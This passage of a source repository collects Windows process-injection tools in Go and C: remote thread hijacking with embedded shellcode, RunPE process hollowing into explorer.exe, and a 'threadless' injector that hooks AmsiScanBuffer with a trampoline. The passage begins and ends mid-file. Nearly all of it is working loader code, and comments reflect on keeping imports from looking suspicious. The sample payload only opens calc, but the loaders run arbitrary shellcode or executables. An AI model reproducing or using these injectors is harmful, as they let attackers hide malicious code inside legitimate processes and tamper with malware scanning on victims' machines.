"Remote_Mapper.c" 9 | 10 | void execSC(const unsigned char* shellcode, size_t shellcode_size, const char* process_name); 11 | */ 12 | import "C" 13 | 14 | func main() { 15 | // start calc.exe 16 | shellcode := []byte{ 17 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 18 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 19 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 20 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 21 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 22 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 23 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 24 | } 25 | 26 | ProcName := "notepad.exe" 27 | 28 | C.execSC( 29 | (*C.uchar)(&shellcode[0]), 30 | C.size_t(len(shellcode)), 31 | C.CString(ProcName), 32 | ) 33 | } -------------------------------------------------------------------------------- /Remote_Thread_Hijacking/Remote_Thread_Hijacking.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo LDFLAGS: -luser32 -lkernel32 5 | #include "remote_thread_hijacking.c" 6 | #include 7 | #include 8 | */ 9 | import "C" 10 | import ( 11 | "fmt" 12 | "log" 13 | "unsafe" 14 | ) 15 | 16 | const ( 17 | PAGE_EXECUTE_READWRITE = 0x40 18 | MEM_COMMIT = 0x00001000 19 | MEM_RESERVE = 0x00002000 20 | THREAD_ALL_ACCESS = 0x001F03FF 21 | INFINITE = 0xFFFFFFFF 22 | CONTEXT_FULL = 0x00010000 23 | ) 24 | 25 | 26 | var shellcode = []byte{ 27 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 28 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 29 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 30 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 31 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 32 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 33 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 34 | } 35 | 36 | 37 | func main() { 38 | name := "notepad.exe" 39 | cName := C.CString(name) 40 | defer C.free(unsafe.Pointer(cName)) 41 | 42 | processHandle := C.find_process(cName) 43 | if processHandle == nil { 44 | log.Fatalf("Error finding process handle") 45 | } 46 | defer C.CloseHandle(processHandle) 47 | 48 | pid := C.GetProcessId(processHandle) 49 | 50 | threadHandle := C.find_thread(pid) 51 | if threadHandle == nil { 52 | log.Fatalf("Error finding thread handle") 53 | } 54 | defer C.CloseHandle(threadHandle) 55 | 56 | size := len(shellcode) 57 | address := C.virtual_alloc_ex(processHandle, C.SIZE_T(size)) 58 | if address == nil { 59 | log.Fatalf("VirtualAllocEx failed") 60 | } 61 | 62 | if success := C.write_process_memory(processHandle, address, unsafe.Pointer(&shellcode[0]), C.SIZE_T(size)); success == 0 { 63 | log.Fatalf("WriteProcessMemory failed") 64 | } 65 | 66 | var oldProtect C.DWORD 67 | if success := C.virtual_protect_ex(processHandle, address, C.SIZE_T(size), C.DWORD(PAGE_EXECUTE_READWRITE), &oldProtect); success == 0 { 68 | log.Fatalf("VirtualProtectEx failed") 69 | } 70 | 71 | var ctx C.CONTEXT 72 | ctx.ContextFlags = C.DWORD(C.CONTEXT_FULL) 73 | if success := C.get_thread_context(threadHandle, &ctx); success == 0 { 74 | log.Fatalf("GetThreadContext failed") 75 | } 76 | 77 | // Convert addr to uintptr then to C.ULONG_PTR 78 | ctx.Rip = C.ULONG_PTR(uintptr(address)) 79 | 80 | if success := C.set_thread_context(threadHandle, &ctx); success == 0 { 81 | log.Fatalf("SetThreadContext failed") 82 | } 83 | 84 | if success := C.resume_thread(threadHandle); success == C.DWORD(0xFFFFFFFF) { 85 | log.Fatalf("ResumeThread failed") 86 | } 87 | 88 | C.wait_for_single_object(threadHandle, C.INFINITE) 89 | 90 | fmt.Println("Thread executed!") 91 | } -------------------------------------------------------------------------------- /Remote_Thread_Hijacking/remote_thread_hijacking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // Function to convert a narrow string to a wide string 8 | wchar_t* to_wide_string(const char* str) { 9 | size_t len = mbstowcs(NULL, str, 0); 10 | wchar_t* wide_str = (wchar_t*)malloc((len + 1) * sizeof(wchar_t)); 11 | mbstowcs(wide_str, str, len + 1); 12 | return wide_str; 13 | } 14 | 15 | HANDLE find_process(const char* name) { 16 | HANDLE snapshot; 17 | PROCESSENTRY32 entry; 18 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 19 | if (snapshot == INVALID_HANDLE_VALUE) return NULL; 20 | 21 | entry.dwSize = sizeof(PROCESSENTRY32); 22 | if (Process32First(snapshot, &entry)) { 23 | wchar_t* wide_name = to_wide_string(name); 24 | do { 25 | // Convert entry.szExeFile to wide string 26 | wchar_t szExeFileWide[MAX_PATH]; 27 | mbstowcs(szExeFileWide, entry.szExeFile, MAX_PATH); 28 | if (wcscmp(szExeFileWide, wide_name) == 0) { 29 | HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID); 30 | free(wide_name); 31 | CloseHandle(snapshot); 32 | return process; 33 | } 34 | } while (Process32Next(snapshot, &entry)); 35 | free(wide_name); 36 | } 37 | 38 | CloseHandle(snapshot); 39 | return NULL; 40 | } 41 | 42 | HANDLE find_thread(DWORD pid) { 43 | HANDLE snapshot; 44 | THREADENTRY32 entry; 45 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 46 | if (snapshot == INVALID_HANDLE_VALUE) return NULL; 47 | 48 | entry.dwSize = sizeof(THREADENTRY32); 49 | if (Thread32First(snapshot, &entry)) { 50 | do { 51 | if (entry.th32OwnerProcessID == pid) { 52 | HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, entry.th32ThreadID); 53 | CloseHandle(snapshot); 54 | return thread; 55 | } 56 | } while (Thread32Next(snapshot, &entry)); 57 | } 58 | 59 | CloseHandle(snapshot); 60 | return NULL; 61 | } 62 | 63 | void* virtual_alloc_ex(HANDLE process, SIZE_T size) { 64 | return VirtualAllocEx(process, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 65 | } 66 | 67 | BOOL write_process_memory(HANDLE process, void* address, const void* data, SIZE_T size) { 68 | SIZE_T bytes_written; 69 | return WriteProcessMemory(process, address, data, size, &bytes_written) && bytes_written == size; 70 | } 71 | 72 | BOOL virtual_protect_ex(HANDLE process, void* address, SIZE_T size, DWORD new_protect, DWORD* old_protect) { 73 | return VirtualProtectEx(process, address, size, new_protect, old_protect); 74 | } 75 | 76 | BOOL get_thread_context(HANDLE thread, CONTEXT* ctx) { 77 | return GetThreadContext(thread, ctx); 78 | } 79 | 80 | BOOL set_thread_context(HANDLE thread, const CONTEXT* ctx) { 81 | return SetThreadContext(thread, ctx); 82 | } 83 | 84 | DWORD resume_thread(HANDLE thread) { 85 | return ResumeThread(thread); 86 | } 87 | 88 | DWORD wait_for_single_object(HANDLE handle, DWORD timeout) { 89 | return WaitForSingleObject(handle, timeout); 90 | } 91 | -------------------------------------------------------------------------------- /RunPE/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "pkg/RunPE" 5 | "io/ioutil" 6 | "log" 7 | ) 8 | 9 | func main() { 10 | src := "C:\\Windows\\explorer.exe" 11 | pe := "here path to the executable" 12 | destpe, err := ioutil.ReadFile(pe) 13 | if err != nil { 14 | log.Fatalf("failed to allocate PE File (pe = portable executable): %v", err) 15 | } 16 | RunPE.Inject(src, destpe, true) // Console Flag, true / false depends if you want to show or not 17 | 18 | } 19 | -------------------------------------------------------------------------------- /RunPE/pkg/runpe.go: -------------------------------------------------------------------------------- 1 | package RunPE 2 | 3 | import ( 4 | "bytes" 5 | "debug/pe" 6 | "encoding/binary" 7 | "fmt" 8 | "golang.org/x/sys/windows" 9 | "os" 10 | "unsafe" 11 | ) 12 | 13 | var ( 14 | /* 15 | Btw this is rewritten version lol 16 | 17 | correct : 18 | virutalallocex := windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualAllocEx") 19 | ---------------------------------------------------------------------------------- 20 | bad: 21 | k32 = windows.NewLazyDLL("kernel32.dll") 22 | virutalallocex = k32.NewProc("VirtualAllocEx") 23 | ---------------------------------------------------------------------------------- 24 | you basically make big mistake, why? cuz you import the ENTIRE DLL, you dont use the specified function in it, you import it entirely with all other 329 calls inside there 25 | but it is and isnt, cuz specific imports are EXTREMLY, suspicious so uhh yk :shrug: so in nutshell it doesnt really matter lol 26 | */ 27 | VirtualAllocEx = windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualAllocEx") 28 | GetThreadContext = windows.NewLazySystemDLL("kernel32.dll").NewProc("GetThreadContext") 29 | SetThreadContext = windows.NewLazySystemDLL("kernel32.dll").NewProc("SetThreadContext") 30 | NtUnmapViewOfSection = windows.NewLazySystemDLL("ntdll.dll").NewProc("NtUnmapViewOfSection") 31 | ) 32 | 33 | /* 34 | Inject starts the src process and injects the target process (I used explorer.exe) 35 | 36 | https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64 37 | https://bytepointer.com/resources/tebpeb64.htm 38 | 39 | Also were Writing all sections. 40 | 41 | */ 42 | 43 | func Inject(srcPath string, destPE []byte, console bool) { 44 | defer func() { 45 | if r := recover(); r != nil { 46 | fmt.Println("Recovered in Inject:", r) 47 | } 48 | }() 49 | 50 | defer func() { 51 | fmt.Printf("[*] Creating process: %v\n", srcPath) 52 | }() 53 | 54 | cmd, err := windows.UTF16PtrFromString(srcPath) 55 | defer CheckErr(err) 56 | 57 | si := new(windows.StartupInfo) 58 | pi := new(windows.ProcessInformation) 59 | var flag uint32 60 | 61 | if console { 62 | flag = windows.CREATE_NEW_CONSOLE | windows.CREATE_SUSPENDED 63 | } else { 64 | flag = windows.CREATE_SUSPENDED 65 | } 66 | 67 | err = windows.CreateProcess(cmd, nil, nil, nil, false, flag, nil, nil, si, pi) 68 | defer CheckErr(err) 69 | defer fmt.Printf("[+] Process created. Process: %v, Thread: %v\n", pi.Process, pi.Thread) 70 | 71 | hProcess := pi.Process 72 | hThread := pi.Thread 73 | 74 | defer func() { 75 | fmt.Printf("[*] Getting thread context of %v\n", hThread) 76 | }() 77 | ctx, err := getThreadContext(uintptr(hThread)) 78 | defer CheckErr(err) 79 | Rdx := binary.LittleEndian.Uint64(ctx[136:]) 80 | 81 | defer func() { 82 | fmt.Printf("[+] Address to PEB[Rdx]: %x\n", Rdx) 83 | }() 84 | 85 | baseAddr, err := readProcessMemoryAsAddr(hProcess, uintptr(Rdx+16)) 86 | defer CheckErr(err) 87 | 88 | defer func() { 89 | fmt.Printf("[+] Base Address of Source Image from PEB[ImageBaseAddress]: %x\n", baseAddr) 90 | }() 91 | 92 | fmt.Printf("[*] Reading destination PE\n") 93 | destPEReader := bytes.NewReader(destPE) 94 | defer CheckErr(err) 95 | 96 | f, err := pe.NewFile(destPEReader) 97 | defer CheckErr(err) 98 | defer fmt.Printf("[*] Getting OptionalHeader of destination PE\n") 99 | 100 | oh, ok := f.OptionalHeader.(*pe.OptionalHeader64) 101 | if !ok { 102 | fmt.Printf("OptionalHeader64 not found\n") 103 | } 104 | 105 | fmt.Printf("[+] ImageBase of destination PE[OptionalHeader.ImageBase]: %x\n", oh.ImageBase) 106 | fmt.Printf("[*] Unmapping view of section %x\n", baseAddr) 107 | err = ntUnmapViewOfSection(hProcess, baseAddr) 108 | defer CheckErr(err) 109 | 110 | fmt.Printf("[*] Allocating memory in process at %x (size: %v)\n", baseAddr, oh.SizeOfImage) 111 | 112 | newImageBase, err := virtualAllocEx(uintptr(hProcess), baseAddr, oh.SizeOfImage, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) 113 | defer CheckErr(err) 114 | defer fmt.Printf("[+] New base address %x\n", newImageBase) 115 | 116 | fmt.Printf("[*] Writing PE to memory in process at %x (size: %v)\n", newImageBase, oh.SizeOfHeaders) 117 | err = writeProcessMemory(hProcess, newImageBase, destPE, oh.SizeOfHeaders) 118 | defer CheckErr(err) 119 | 120 | for _, sec := range f.Sections { 121 | fmt.Printf("[*] Writing section[%v] to memory at %x (size: %v)\n", sec.Name, newImageBase+uintptr(sec.VirtualAddress), sec.Size) 122 | secData, err := sec.Data() 123 | defer CheckErr(err) 124 | err = writeProcessMemory(hProcess, newImageBase+uintptr(sec.VirtualAddress), secData, sec.Size) 125 | defer CheckErr(err) 126 | } 127 | 128 | fmt.Printf("[*] Calculating relocation delta\n") 129 | delta := int64(oh.ImageBase) - int64(newImageBase) 130 | fmt.Printf("[+] Relocation delta: %v\n", delta) 131 | 132 | fmt.Printf("[*] Writing new ImageBase to Rdx %x\n", newImageBase) 133 | addrB := make([]byte, 8) 134 | binary.LittleEndian.PutUint64(addrB, uint64(newImageBase)) 135 | err = writeProcessMemory(hProcess, uintptr(Rdx+16), addrB, 8) 136 | defer CheckErr(err) 137 | 138 | binary.LittleEndian.PutUint64(ctx[128:], uint64(newImageBase)+uint64(oh.AddressOfEntryPoint)) 139 | fmt.Printf("[*] Setting new entrypoint to Rcx %x\n", uint64(newImageBase)+uint64(oh.AddressOfEntryPoint)) 140 | 141 | err = setThreadContext(hThread, ctx) 142 | defer CheckErr(err) 143 | 144 | _, err = resumeThread(hThread) 145 | defer CheckErr(err) 146 | } 147 | 148 | 149 | func resumeThread(hThread windows.Handle) (count int32, e error) { 150 | /* 151 | DWORD ResumeThread( 152 | HANDLE hThread 153 | ); 154 | */ 155 | ret, err := windows.ResumeThread(hThread) 156 | if ret == 0xffffffff { 157 | e = err 158 | } 159 | count = int32(ret) 160 | defer func() { 161 | if e != nil { 162 | fmt.Printf("[X] Error in ResumeThread[%v]: %v\n", hThread, e) 163 | } else { 164 | fmt.Printf("[*] ResumeThread[%v]\n", hThread) 165 | } 166 | }() 167 | return 168 | } 169 | 170 | func virtualAllocEx(hProcess uintptr, lpAddress uintptr, dwSize uint32, flAllocationType int, flProtect int) (addr uintptr, e error) { 171 | /* 172 | LPVOID VirtualAllocEx( 173 | HANDLE hProcess, 174 | LPVOID lpAddress, 175 | SIZE_T dwSize, 176 | DWORD flAllocationType, 177 | DWORD flProtect 178 | ); 179 | */ 180 | ret, _, err := VirtualAllocEx.Call( 181 | hProcess, 182 | lpAddress, 183 | uintptr(dwSize), 184 | uintptr(flAllocationType), 185 | uintptr(flProtect)) 186 | if ret == 0 { 187 | e = err 188 | } 189 | addr = ret 190 | defer func() { 191 | if e != nil { 192 | fmt.Printf("[X] Error in VirtualAllocEx[%v : %x]: %v\n", hProcess, lpAddress, e) 193 | } else { 194 | fmt.Printf("[*] VirtualAllocEx[%v : %x]\n", hProcess, lpAddress) 195 | } 196 | }() 197 | return 198 | } 199 | 200 | func readProcessMemory(hProcess uintptr, lpBaseAddress uintptr, size uint32) (data []byte, e error) { 201 | // Defer a statement to execute after function returns (applies on the func writeProcessMemory aswell) 202 | defer func() { 203 | if e != nil { 204 | fmt.Printf("[*] ReadProcessMemory failed: %v\n", e) 205 | } 206 | }() 207 | 208 | defer fmt.Printf("[*] ReadProcessMemory[%v : %x]\n", hProcess, lpBaseAddress) 209 | 210 | var numBytesRead uintptr 211 | data = make([]byte, size) 212 | 213 | err := windows.ReadProcessMemory(windows.Handle(hProcess), 214 | lpBaseAddress, 215 | &data[0], 216 | uintptr(size), 217 | &numBytesRead) 218 | 219 | if err != nil { 220 | e = err 221 | } 222 | 223 | return 224 | } 225 | 226 | func writeProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, data []byte, size uint32) (e error) { 227 | defer func() { 228 | if e != nil { 229 | fmt.Printf("[*] WriteProcessMemory failed: %v\n", e) 230 | } 231 | }() 232 | 233 | defer fmt.Printf("[*] WriteProcessMemory[%v : %x]\n", hProcess, lpBaseAddress) 234 | 235 | var numBytesRead uintptr 236 | 237 | err := windows.WriteProcessMemory(hProcess, 238 | lpBaseAddress, 239 | &data[0], 240 | uintptr(size), 241 | &numBytesRead) 242 | 243 | if err != nil { 244 | e = err 245 | } 246 | 247 | return 248 | } 249 | 250 | func getThreadContext(hThread uintptr) (ctx []uint8, e error) { 251 | /* 252 | ctx[12] = 0x00100000 | 0x00000002 - (CONTEXT_INTEGER flag to Rdx) 253 | https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64 254 | 255 | BOOL GetThreadContext( 256 | HANDLE hThread, 257 | LPCONTEXT lpContext 258 | ); 259 | */ 260 | ctx = make([]uint8, 1232) 261 | binary.LittleEndian.PutUint32(ctx[48:], 0x00100000|0x00000002) 262 | ctxPtr := unsafe.Pointer(&ctx[0]) 263 | r, _, err := GetThreadContext.Call(hThread, uintptr(ctxPtr)) 264 | if r == 0 { 265 | e = err 266 | } 267 | defer func() { 268 | if e != nil { 269 | fmt.Printf("[X] Error in GetThreadContext[%v]: %v\n", hThread, e) 270 | } else { 271 | fmt.Printf("[*] GetThreadContext[%v]\n", hThread) 272 | } 273 | }() 274 | return ctx, nil 275 | } 276 | 277 | func readProcessMemoryAsAddr(hProcess windows.Handle, lpBaseAddress uintptr) (val uintptr, e error) { 278 | data, err := readProcessMemory(uintptr(hProcess), lpBaseAddress, 8) 279 | if err != nil { 280 | e = err 281 | } 282 | val = uintptr(binary.LittleEndian.Uint64(data)) 283 | defer func() { 284 | if e != nil { 285 | fmt.Printf("[X] Error in ReadProcessMemoryAsAddr[%v : %x]: %v\n", hProcess, lpBaseAddress, e) 286 | } else { 287 | fmt.Printf("[*] ReadProcessMemoryAsAddr[%v : %x]: [%x]\n", hProcess, lpBaseAddress, val) 288 | } 289 | }() 290 | return 291 | } 292 | 293 | func ntUnmapViewOfSection(hProcess windows.Handle, baseAddr uintptr) (e error) { 294 | /* 295 | Reffernces : 296 | https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection 297 | https://msdn.microsoft.com/en-us/windows/desktop/ff557711 298 | https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtUnmapViewOfSection.html 299 | 300 | NTSTATUS NtUnmapViewOfSection( 301 | HANDLE ProcessHandle, 302 | PVOID BaseAddress 303 | ); 304 | */ 305 | r, _, err := NtUnmapViewOfSection.Call(uintptr(hProcess), baseAddr) 306 | if r != 0 { 307 | e = err 308 | } 309 | defer func() { 310 | if e != nil { 311 | fmt.Printf("[X] Error in NtUnmapViewOfSection[%v : %x]: %v\n", hProcess, baseAddr, e) 312 | } else { 313 | fmt.Printf("[*] NtUnmapViewOfSection[%v : %x]\n", hProcess, baseAddr) 314 | } 315 | }() 316 | return 317 | } 318 | 319 | func setThreadContext(hThread windows.Handle, ctx []uint8) (e error) { 320 | /* 321 | BOOL SetThreadContext( 322 | HANDLE hThread, 323 | const CONTEXT *lpContext 324 | ); 325 | */ 326 | ctxPtr := unsafe.Pointer(&ctx[0]) 327 | r, _, err := SetThreadContext.Call(uintptr(hThread), uintptr(ctxPtr)) 328 | if r == 0 { 329 | e = err 330 | } 331 | defer func() { 332 | if e != nil { 333 | fmt.Printf("[X] Error in SetThreadContext[%v]: %v\n", hThread, e) 334 | } else { 335 | fmt.Printf("[*] SetThreadContext[%v]\n", hThread) 336 | } 337 | }() 338 | return 339 | } 340 | 341 | func CheckErr(err error) { 342 | if err != nil { 343 | fmt.Println("[X] Error : ", err) 344 | os.Exit(9999) 345 | } 346 | } 347 | -------------------------------------------------------------------------------- /Threadless_Injection/Threadless_Injection.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo LDFLAGS: -L. -lthreadless_injection_wrapper 5 | #include 6 | */ 7 | import "C" 8 | import ( 9 | "fmt" 10 | "os" 11 | "unsafe" 12 | ) 13 | 14 | func main() { 15 | if len(os.Args) < 2 { 16 | fmt.Println("Usage: ") 17 | return 18 | } 19 | 20 | procname := os.Args[1] 21 | cprocname := C.CString(procname) 22 | defer C.free(unsafe.Pointer(cprocname)) 23 | 24 | pid := C.find_process(cprocname) 25 | if pid == 0 { 26 | fmt.Println("[!] Failed to find the PID of the target process") 27 | return 28 | } 29 | 30 | fmt.Printf("[+] Process ID: %d\n", pid) 31 | 32 | hModule := C.LoadLibraryA(C.CString("amsi.dll")) 33 | if hModule == nil { 34 | fmt.Printf("[!] LoadLibrary Failed With Status %d\n", C.GetLastError()) 35 | return 36 | } 37 | 38 | address := C.GetProcAddress(hModule, C.CString("AmsiScanBuffer")) 39 | if address == nil { 40 | fmt.Printf("[!] GetProcAddress Failed With Status %d\n", C.GetLastError()) 41 | return 42 | } 43 | 44 | hProcess := C.OpenProcess(C.PROCESS_ALL_ACCESS, C.FALSE, pid) 45 | if hProcess == nil { 46 | fmt.Printf("[!] OpenProcess Failed With Status %d\n", C.GetLastError()) 47 | return 48 | } 49 | 50 | addressPtr := unsafe.Pointer(address) 51 | 52 | fmt.Printf("[+] Function: AmsiScanBuffer | Address: %p\n", addressPtr) 53 | 54 | fmt.Println("[+] Looking for a memory hole") 55 | addressRole := C.find_memory_role(C.SIZE_T(uintptr(addressPtr)), hProcess) 56 | if addressRole == nil { 57 | fmt.Println("[!] find_memory_role Failed With Status") 58 | return 59 | } 60 | 61 | fmt.Println("[+] Writing the shellcode") 62 | C.write_shellcode(hProcess, addressRole) 63 | 64 | fmt.Println("[+] Installing the trampoline") 65 | C.install_trampoline(hProcess, addressRole, addressPtr) 66 | 67 | fmt.Println("[+] Finished Sucessfully") 68 | } 69 | -------------------------------------------------------------------------------- /Threadless_Injection/build.bat: -------------------------------------------------------------------------------- 1 | @ECho off 2 | gcc -shared -o threadless_injection_wrapper.dll threadless_injection_wrapper.c 3 | dlltool --dllname threadless_injection_wrapper.dll --input-def threadless_injection_wrapper.def --output-lib threadless_injection_wrapper.lib 4 | go build -o ThreadlessInject.exe 5 | exit -------------------------------------------------------------------------------- /Threadless_Injection/threadless_injection_wrapper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | // Shellcode and Patch Shellcode 7 | const uint8_t PATCH_SHELLCODE[55] = { 8 | 0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 9 | 0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC, 10 | 0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 11 | 0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0, 12 | }; 13 | // start calc.exe 14 | const uint8_t SHELLCODE[106] = { 15 | 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 16 | 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 17 | 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 18 | 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 19 | 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 20 | 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 21 | 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3, 22 | }; 23 | 24 | __declspec(dllexport) DWORD find_process(const char* process_name); 25 | __declspec(dllexport) void write_shellcode(HANDLE h_process, void* address); 26 | __declspec(dllexport) void install_trampoline(HANDLE h_process, void* address, void* function_address); 27 | __declspec(dllexport) void* find_memory_role(SIZE_T func_address, HANDLE h_process); 28 | 29 | __declspec(dllexport) DWORD find_process(const char* process_name) { 30 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 31 | if (snapshot == INVALID_HANDLE_VALUE) { 32 | return 0; 33 | } 34 | 35 | PROCESSENTRY32 process_entry = { 0 }; 36 | process_entry.dwSize = sizeof(PROCESSENTRY32); 37 | 38 | if (!Process32First(snapshot, &process_entry)) { 39 | CloseHandle(snapshot); 40 | return 0; 41 | } 42 | 43 | DWORD pid = 0; 44 | do { 45 | if (strcmp(process_entry.szExeFile, process_name) == 0) { 46 | pid = process_entry.th32ProcessID; 47 | break; 48 | } 49 | } while (Process32Next(snapshot, &process_entry)); 50 | 51 | CloseHandle(snapshot); 52 | return pid; 53 | } 54 | 55 | __declspec(dllexport) void* find_memory_role(SIZE_T func_address, HANDLE h_process) { 56 | SIZE_T address = (func_address & 0xFFFFFFFFFFF70000) - 0x70000000; 57 | while (address < func_address + 0x70000000) { 58 | void* tmp_address = VirtualAllocEx( 59 | h_process, 60 | (LPVOID)address, 61 | sizeof(SHELLCODE) + sizeof(PATCH_SHELLCODE), 62 | MEM_COMMIT | MEM_RESERVE, 63 | PAGE_READWRITE 64 | ); 65 | 66 | if (tmp_address) { 67 | printf("[+] Allocated at: %p\n", tmp_address); 68 | return tmp_address; 69 | } 70 | 71 | address += 0x10000; 72 | } 73 | 74 | return NULL; 75 | } 76 | 77 | __declspec(dllexport) void write_shellcode(HANDLE h_process, void* address) { 78 | SIZE_T number_of_write = 0; 79 | WriteProcessMemory( 80 | h_process, 81 | address, 82 | PATCH_SHELLCODE, 83 | sizeof(PATCH_SHELLCODE), 84 | &number_of_write 85 | ); 86 | 87 | SIZE_T shellcode_address = (SIZE_T)address + sizeof(PATCH_SHELLCODE); 88 | WriteProcessMemory( 89 | h_process, 90 | (LPVOID)shellcode_address, 91 | SHELLCODE, 92 | sizeof(SHELLCODE), 93 | &number_of_write 94 | ); 95 | 96 | DWORD old_protect; 97 | VirtualProtectEx( 98 | h_process, 99 | address, 100 | sizeof(SHELLCODE), 101 | PAGE_EXECUTE_READWRITE, 102 | &old_protect 103 | ); 104 | } 105 | 106 | __declspec(dllexport) void install_trampoline(HANDLE h_process, void* address, void* function_address) { 107 | uint8_t trampoline[5] = {0xE8, 0x00, 0x00, 0x00, 0x00}; 108 | DWORD rva = (DWORD)((SIZE_T)address - ((SIZE_T)function_address + sizeof(trampoline))); 109 | memcpy(trampoline + 1, &rva, sizeof(rva)); 110 | 111 | DWORD old_protect; 112 | VirtualProtectEx( 113 | h_process, 114 | function_address, 115 | sizeof(trampoline), 116 | PAGE_READWRITE, 117 | &old_protect 118 | ); 119 | 120 | SIZE_T number_bytes_written; 121 | WriteProcessMemory( 122 | h_process, 123 | function_address, 124 | trampoline, 125 | sizeof(trampoline), 126 | &number_bytes_written 127 | ); 128 | 129 | VirtualProtectEx( 130 | h_process, 131 | function_address, 132 | sizeof(trampoline), 133 | PAGE_EXECUTE_READWRITE, 134 | &old_protect 135 | ); 136 | } 137 | -------------------------------------------------------------------------------- /Threadless_Injection/threadless_injection_wrapper.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | find_process 3 | write_shellcode 4 | install_trampoline 5 | find_memory_role 6 | -------------------------------------------------------------------------------- /Threadless_Injection/threadless_injection_wrapper.h: -------------------------------------------------------------------------------- 1 | // threadless_injection_wrapper.h 2 | 3 | #ifndef THREADLESS_INJECTION_WRAPPER_H 4 | #define THREADLESS_INJECTION_WRAPPER_H 5 | 6 | #include 7 | #include 8 | 9 | #ifdef __cplusplus 10 | extern "C" { 11 | #endif 12 | 13 | __declspec(dllexport) DWORD find_process(const char* process_name); 14 | __declspec(dllexport) void write_shellcode(HANDLE h_process, void* address); 15 | __declspec(dllexport) void install_trampoline(HANDLE h_process, void* address, void* function_address); 16 | 